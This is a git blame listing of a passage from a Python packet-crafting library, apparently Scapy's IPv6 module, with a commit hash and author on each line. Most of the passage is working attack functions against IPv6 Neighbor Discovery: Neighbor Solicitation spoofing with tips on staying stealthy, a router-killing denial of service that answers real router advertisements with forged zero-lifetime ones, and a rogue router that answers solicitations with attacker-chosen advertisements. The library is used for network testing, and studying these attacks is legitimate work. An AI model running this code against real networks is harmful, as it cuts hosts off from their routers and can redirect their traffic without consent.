3591af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src: the IPv6 address used as source of the packet. If None is provided,
3592af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         an address associated with the emitting interface will be used
3593af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         (based on the destination address of the packet).
3594af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3595af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    target: the target address of the NS packet. If no value is provided,
3596af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         a dummy address (2001:db8::1) is used. The value of the target
3597af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         has a direct impact on the destination address of the packet if it
3598af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not overridden. By default, the solicited-node multicast address
3599af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated with the target is used as destination address of the
3600af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         packet. Consider specifying a specific destination address if you
3601af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         intend to use a target address different than the one of the victim.
3602af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3603af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst: The destination address of the NS. By default, the solicited node
3604af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         multicast address associated with the target address (see previous
3605af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         parameter) is used if no specific value is provided. The victim
3606af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not expected to check the destination address of the packet,
3607af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         so using a multicast address like ff02::1 should work if you want
3608af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the attack to target all hosts on the link. On the contrary, if
3609af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you want to be more stealth, you should provide the target address
3610af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         for this parameter in order for the packet to be sent only to the
3611af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         victim.
3612af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3613af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    src_mac: the MAC address used as source of the packet. By default, this
3614af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is the address of the interface. If you want to be more stealth,
3615af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         feel free to use something else. Note that this address is not the
3616af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         that the victim will use to populate its neighbor cache.
3617af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3618af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    dst_mac: The MAC address used as destination address of the packet. If
3619af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the IPv6 destination address is multicast (all-nodes, solicited
3620af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         node, ...), it will be computed. If the destination address is
3621af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         unicast, a neighbor solicitation will be performed to get the
3622af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         associated address. If you want the attack to be stealth, you
3623af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         can provide the MAC address using this parameter.
3624af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3625af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    loop: By default, this parameter is True, indicating that NS packets
3626af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         will be sent in loop, separated by 'inter' seconds (see below).
3627af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         When set to False, a single packet is sent.
3628af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3629af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    inter: When loop parameter is True (the default), this parameter provides
3630af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the interval in seconds used for sending NS packets.
3631af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3632af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: to force the sending interface.
3633af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3634af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3635af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3636af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3637af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3638af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Use provided MAC address as source link-layer address option
3639af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # or the MAC address of the interface if none is provided.
3640af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not src_lladdr:
3641af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src_lladdr = get_if_hwaddr(iface)
3642af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3643af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # Prepare packets parameters
3644af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ether_params = {}
3645af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src_mac:
3646af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["src"] = src_mac
3647af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3648af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst_mac:
3649af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params["dst"] = dst_mac
3650af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3651af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ipv6_params = {}
3652af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if src:
3653af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["src"] = src
3654af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if dst:
3655af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = dst
3656af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    else:
3657af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Compute the solicited-node multicast address
3658af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # associated with the target address.
3659af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = inet_ntop(socket.AF_INET6,
3660af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        in6_getnsma(inet_pton(socket.AF_INET6, target)))
3661af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ipv6_params["dst"] = tmp
3662af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3663af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt = Ether(**ether_params)
3664af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= IPv6(**ipv6_params)
3665af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6ND_NS(tgt=target)
3666af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
3667af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3668af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)
3669af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3670af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3671af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
3672af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   ip_src_filter=None, reply_mac=None,
3673af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                                   tgt_mac=None):
3674af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3675af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of the function is to monitor incoming RA messages
3676af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sent by default routers (RA with a non-zero Router Lifetime values)
3677af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and invalidate them by immediately replying with fake RA messages
3678af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertising a zero Router Lifetime value.
3679af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3680af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The result on receivers is that the router is immediately invalidated,
3681af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. the associated entry is discarded from the default router list
3682af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    and destination cache is updated to reflect the change.
3683af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3684af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the function considers all RA messages with a non-zero
3685af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Router Lifetime value but provides configuration knobs to allow
3686af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    filtering RA sent by specific routers (Ethernet source address).
3687af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    With regard to emission, the multicast all-nodes address is used
3688af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    by default but a specific target can be used, in order for the DoS to
3689af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    apply only to a specific host.
3690af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3691af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    More precisely, following arguments can be used to change the behavior:
3692af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3693af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3694af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3695af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3696af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3697af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RA messages received from this source will trigger replies.
3698af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         If other default routers advertised their presence on the link,
3699af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         their clients will not be impacted by the attack. The default
3700af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific mac address.
3701af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3702af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3703af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RA messages received from this source address will trigger
3704af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. If other default routers advertised their presence on the
3705af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         link, their clients will not be impacted by the attack. The default
3706af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value is None: the DoS is not limited to a specific IPv6 source
3707af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address.
3708af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3709af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3710af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3711af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3712af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_mac: allow limiting the effect of the DoS to a specific host,
3713af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         by sending the "invalidating RA" only to its mac address.
3714af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3715af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3716af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3717af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3718af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3719af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3720af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3721af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
3722af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3723af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3724af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3725af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3726af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3727af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3728af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ip_src = req[IPv6].src
3729af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3730af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3731af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3732af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check if this is an advertisement for a Default Router
3733af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # by looking at Router Lifetime value
3734af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[ICMPv6ND_RA].routerlifetime == 0:
3735af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3736af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3737af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3738af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3739af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
3740af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3741af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA with a 0 lifetime
3742af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3743af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3744af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3745af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3746af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = req[IPv6].src
3747af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3748af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Prepare packets parameters
3749af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ether_params = {}
3750af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if reply_mac:
3751af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["src"] = reply_mac
3752af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3753af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_mac:
3754af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            ether_params["dst"] = tgt_mac
3755af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3756af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Basis of fake RA (high pref, zero lifetime)
3757af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(**ether_params)/IPv6(src=src, dst="ff02::1")
3758af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)
3759af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3760af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Add it a PIO from the request ...
3761af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tmp = req
3762af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        while ICMPv6NDOptPrefixInfo in tmp:
3763af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            pio = tmp[ICMPv6NDOptPrefixInfo]
3764af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            tmp = pio.payload
3765af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            del(pio.payload)
3766af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            rep /= pio
3767af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3768af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # ... and source link layer address option
3769af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ICMPv6NDOptSrcLLAddr in req:
3770af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
3771af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        else:
3772af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            mac = req[Ether].src
3773af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)
3774af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3775af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3776af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3777b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent with source address %s" % src)
3778af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3779af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3780af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3781af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3782af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3783af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3784af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3785af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3786af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3787af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3788af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3789af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3790af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
3791af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3792af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3793af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3794af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None,
3795af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           ip_src_filter=None):
3796af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3797af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The purpose of this function is to send provided RA message at layer 2
3798af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (i.e. providing a packet starting with IPv6 will not work) in response
3799af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    to received RS messages. In the end, the function is a simple wrapper
3800af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    around sendp() that monitor the link for RS messages.
3801af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3802af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    It is probably better explained with an example:
3803af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3804af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
3805af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
3806af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
3807af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
3808af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      >>> NDP_Attack_Fake_Router(ra, iface="eth0")
3809af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
3810af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
3811af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ...
3812af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3813af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3814af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3815af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      ra: the RA message to send in response to received RS message.
3816af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3817af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      iface: a specific interface (e.g. "eth0") of the system on which the
3818af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             DoS should be launched. If none is provided, conf.iface is
3819af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard             used.
3820af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3821af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard      mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3822af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only RS messages received from this source will trigger a reply.
3823af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Note that no changes to provided RA is done which imply that if
3824af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you intend to target only the source of the RS using this option,
3825af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         you will have to set the Ethernet destination address to the same
3826af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         value in your RA.
3827af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         The default value for this parameter is None: no filtering on the
3828af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         source of RS is done.
3829af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3830af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
3831af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         on. Only RS messages received from this source address will trigger
3832af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         replies. Same comment as for previous argument apply: if you use
3833af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         the option, you will probably want to set a specific Ethernet
3834af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address in the RA.
3835af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3836af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3837af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, ip_src_filter):
3838af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3839af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3840af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3841af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3842af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req):
3843af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3844af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3845af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3846af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3847af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3848af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3849af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        ip_src = req[IPv6].src
3850af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if ip_src_filter and ip_src != ip_src_filter:
3851af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3852af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3853af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3854af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3855af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ra_reply_callback(req, iface):
3856af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3857af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that sends an RA in reply to an RS
3858af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3859af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3860af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        src = req[IPv6].src
3861af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(ra, iface=iface, verbose=0)
3862b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Fake RA sent in response to RS from %s" % src)
3863af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3864af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3865af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3866af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6"
3867af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3868af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3869af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3870af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3871af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, iface),
3872af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3873af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3874af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3875af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3876af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                          Layers binding                               ###
